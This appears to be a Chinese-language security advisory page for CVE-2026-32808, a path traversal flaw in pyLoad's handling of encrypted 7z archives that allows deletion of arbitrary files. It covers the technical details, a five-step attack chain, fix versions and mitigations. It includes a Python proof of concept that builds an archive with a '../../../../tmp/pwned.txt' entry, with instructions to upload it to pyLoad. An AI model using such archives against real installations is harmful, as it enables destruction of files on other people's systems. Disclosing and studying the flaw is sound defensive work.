IPBUF安全漏洞报告
English
CVE-2026-32808 CVSS 8.1 高危

CVE-2026-32808 pyLoad路径遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32808
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
pyLoad

相关标签

路径遍历pyLoad文件删除7z高危

漏洞概述

pyLoad是一个免费的开源下载管理器。在0.5.0b3.dev97版本之前,该软件存在路径遍历漏洞。该漏洞发生在验证特定加密7z存档(具有非加密头部的加密文件)密码的过程中。攻击者利用此漏洞,通过精心构造的存档文件名,导致在解压目录之外的任意文件被删除。该问题源于pyLoad在处理7z列表输出时,未能有效限制文件路径,从而绕过了目录限制。官方已在0.5.0b3.dev97版本中修复了此问题。

技术细节

该漏洞的核心在于pyLoad在处理特定类型的7z压缩包时的路径验证逻辑存在缺陷。当处理带有非加密头部但内容加密的7z文件时,pyLoad会尝试验证密码以进行解压。在验证过程中,程序会解析7z的列表输出以获取存档内的文件名。然而,代码并未对从列表输出中提取的文件名进行充分的路径规范化或安全检查,直接将其作为文件系统路径进行处理。攻击者可以通过修改7z存档内的文件名,插入“../”序列或绝对路径,从而指向解压目标目录之外的文件。由于无需认证(PR:N)且仅需用户交互(UI:R),一旦用户触发了对恶意存档的处理程序,pyLoad就会尝试根据解析出的路径进行操作,导致目标系统上任意位置的文件被意外删除,严重影响了系统的完整性和可用性。

攻击链分析

STEP 1
准备恶意文件
攻击者创建一个特制的7z压缩包,其中包含带有路径遍历字符(如../)的文件名,并配置为仅加密内容而不加密头部。
STEP 2
诱导用户交互
攻击者将恶意文件上传至pyLoad或诱导受害者通过pyLoad下载并处理该文件。
STEP 3
触发密码验证
pyLoad在处理该加密7z文件时,尝试验证密码以读取内容。由于头部未加密,程序能够读取文件列表。
STEP 4
解析恶意路径
pyLoad从7z列表输出中提取文件名,未经过滤直接将其作为文件系统路径使用。
STEP 5
执行文件操作
程序尝试在解析出的路径(通过../跳出了解压目录)进行文件写入或删除操作,导致系统文件被篡改或删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import py7zr # Requires py7zr library: pip install py7zr # Proof of Concept for CVE-2026-32808 # Description: Creates a 7z archive with a file name containing path traversal sequences. # Note: Real exploitation requires specific 7z flags (encrypt content but not headers) which may # not be directly supported by high-level libraries like py7zr for creation. # This script demonstrates the logic of preparing a malicious file structure. def create_poc(): # The malicious file name intended to escape the extraction directory # Targeting a file outside the web root or system directory traversal_filename = "../../../../tmp/pwned.txt" # Create a dummy file to be archived with open(traversal_filename, "w") as f: f.write("This file demonstrates arbitrary file deletion/write.") # Create the archive with py7zr.SevenZipFile("malicious_poc.7z", "w") as archive: # Archives the file. If pyLoad processes this, it might resolve to /tmp/pwned.txt archive.write(traversal_filename, traversal_filename) print(f"Created malicious_poc.7z with file: {traversal_filename}") print("Upload this file to pyLoad to trigger the vulnerability.") # Cleanup local dummy file if os.path.exists(traversal_filename): os.remove(traversal_filename) if __name__ == "__main__": create_poc()

影响范围

pyLoad < 0.5.0b3.dev97

防御指南

临时缓解措施
建议立即更新至修复版本。如果无法立即更新,应严格限制用户上传权限,并避免处理来源不明的7z加密文件。同时,检查系统关键路径的权限设置,防止低权限进程删除关键文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表